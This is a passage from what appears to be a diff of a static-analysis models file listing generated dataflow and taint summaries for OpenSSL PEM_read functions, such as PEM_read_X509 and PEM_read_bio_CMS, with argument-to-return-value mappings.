*,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8_PRIV_KEY_INFO", "(FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8_PRIV_KEY_INFO", "(FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8_PRIV_KEY_INFO", "(FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8_PRIV_KEY_INFO", "(FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8_PRIV_KEY_INFO", "(FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8_PRIV_KEY_INFO", "(FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8_PRIV_KEY_INFO", "(FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8_PRIV_KEY_INFO", "(FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8_PRIV_KEY_INFO", "(FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_PKCS8_PRIV_KEY_INFO", "(FILE *,PKCS8_PRIV_KEY_INFO **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_PUBKEY", "(FILE *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_PUBKEY", "(FILE *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_read_PUBKEY", "(FILE *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_PUBKEY", "(FILE *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_PUBKEY_ex", "(FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_PUBKEY_ex", "(FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_read_PUBKEY_ex", "(FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_PUBKEY_ex", "(FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_PrivateKey", "(FILE *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_PrivateKey", "(FILE *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_read_PrivateKey", "(FILE *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_PrivateKey", "(FILE *,EVP_PKEY **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_PrivateKey_ex", "(FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_PrivateKey_ex", "(FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "PEM_read_PrivateKey_ex", "(FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_PrivateKey_ex", "(FILE *,EVP_PKEY **,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_RSAPrivateKey", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_RSAPublicKey", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSAPublicKey", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_RSAPublicKey", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSAPublicKey", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSAPublicKey", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_RSAPublicKey", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSAPublicKey", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSAPublicKey", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSAPublicKey", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSAPublicKey", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_RSAPublicKey", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSAPublicKey", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_RSA_PUBKEY", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSA_PUBKEY", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_RSA_PUBKEY", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSA_PUBKEY", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSA_PUBKEY", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_RSA_PUBKEY", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSA_PUBKEY", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSA_PUBKEY", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSA_PUBKEY", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSA_PUBKEY", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_RSA_PUBKEY", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_RSA_PUBKEY", "(FILE *,RSA **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_SSL_SESSION", "(FILE *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_SSL_SESSION", "(FILE *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_SSL_SESSION", "(FILE *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_SSL_SESSION", "(FILE *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_SSL_SESSION", "(FILE *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_SSL_SESSION", "(FILE *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_SSL_SESSION", "(FILE *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_SSL_SESSION", "(FILE *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_SSL_SESSION", "(FILE *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_SSL_SESSION", "(FILE *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_SSL_SESSION", "(FILE *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_SSL_SESSION", "(FILE *,SSL_SESSION **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_X509", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_X509_ACERT", "(FILE *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_ACERT", "(FILE *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_ACERT", "(FILE *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_ACERT", "(FILE *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_ACERT", "(FILE *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_ACERT", "(FILE *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_ACERT", "(FILE *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_ACERT", "(FILE *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_ACERT", "(FILE *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_ACERT", "(FILE *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_ACERT", "(FILE *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_ACERT", "(FILE *,X509_ACERT **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_X509_AUX", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_AUX", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_AUX", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_AUX", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_AUX", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_AUX", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_AUX", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_AUX", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_AUX", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_AUX", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_AUX", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_AUX", "(FILE *,X509 **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_X509_CRL", "(FILE *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_CRL", "(FILE *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_CRL", "(FILE *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_CRL", "(FILE *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_CRL", "(FILE *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_CRL", "(FILE *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_CRL", "(FILE *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_CRL", "(FILE *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_CRL", "(FILE *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_CRL", "(FILE *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_CRL", "(FILE *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_CRL", "(FILE *,X509_CRL **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_X509_PUBKEY", "(FILE *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_PUBKEY", "(FILE *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_PUBKEY", "(FILE *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_PUBKEY", "(FILE *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_PUBKEY", "(FILE *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_PUBKEY", "(FILE *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_PUBKEY", "(FILE *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_PUBKEY", "(FILE *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_PUBKEY", "(FILE *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_PUBKEY", "(FILE *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_PUBKEY", "(FILE *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_PUBKEY", "(FILE *,X509_PUBKEY **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_X509_REQ", "(FILE *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_REQ", "(FILE *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_REQ", "(FILE *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_REQ", "(FILE *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_REQ", "(FILE *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_REQ", "(FILE *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_REQ", "(FILE *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_REQ", "(FILE *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_REQ", "(FILE *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_REQ", "(FILE *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_REQ", "(FILE *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_X509_REQ", "(FILE *,X509_REQ **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio", "(BIO *,char **,char **,unsigned char **,long *)", "", "Argument[**2]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio", "(BIO *,char **,char **,unsigned char **,long *)", "", "Argument[*2]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "PEM_read_bio", "(BIO *,char **,char **,unsigned char **,long *)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio", "(BIO *,char **,char **,unsigned char **,long *)", "", "Argument[*3]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "PEM_read_bio", "(BIO *,char **,char **,unsigned char **,long *)", "", "Argument[2]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "PEM_read_bio", "(BIO *,char **,char **,unsigned char **,long *)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "PEM_read_bio", "(BIO *,char **,char **,unsigned char **,long *)", "", "Argument[2]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "PEM_read_bio", "(BIO *,char **,char **,unsigned char **,long *)", "", "Argument[3]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "PEM_read_bio", "(BIO *,char **,char **,unsigned char **,long *)", "", "Argument[3]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "PEM_read_bio_CMS", "(BIO *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_CMS", "(BIO *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_CMS", "(BIO *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_CMS", "(BIO *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_CMS", "(BIO *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_CMS", "(BIO *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_CMS", "(BIO *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_CMS", "(BIO *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_CMS", "(BIO *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_CMS", "(BIO *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_CMS", "(BIO *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_CMS", "(BIO *,CMS_ContentInfo **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_DHparams", "(BIO *,DH **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DHparams", "(BIO *,DH **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DHparams", "(BIO *,DH **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DHparams", "(BIO *,DH **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DHparams", "(BIO *,DH **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DHparams", "(BIO *,DH **,pem_password_cb *,void *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DHparams", "(BIO *,DH **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DHparams", "(BIO *,DH **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DHparams", "(BIO *,DH **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DHparams", "(BIO *,DH **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DHparams", "(BIO *,DH **,pem_password_cb *,void *)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DHparams", "(BIO *,DH **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_DSAPrivateKey", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_DSAPrivateKey", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "PEM_read_bio_DSAPrivateKey", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_DSA_PUBKEY", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DSA_PUBKEY", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_DSA_PUBKEY", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[3]", "Argument[**3]", "taint", "dfc-generated"] + - ["", "", True, "PEM_read_bio_DSAparams", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DSAparams", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DSAparams", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "PEM_read_bio_DSAparams", "(BIO *,DSA **,pem_password_cb *,void *)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", 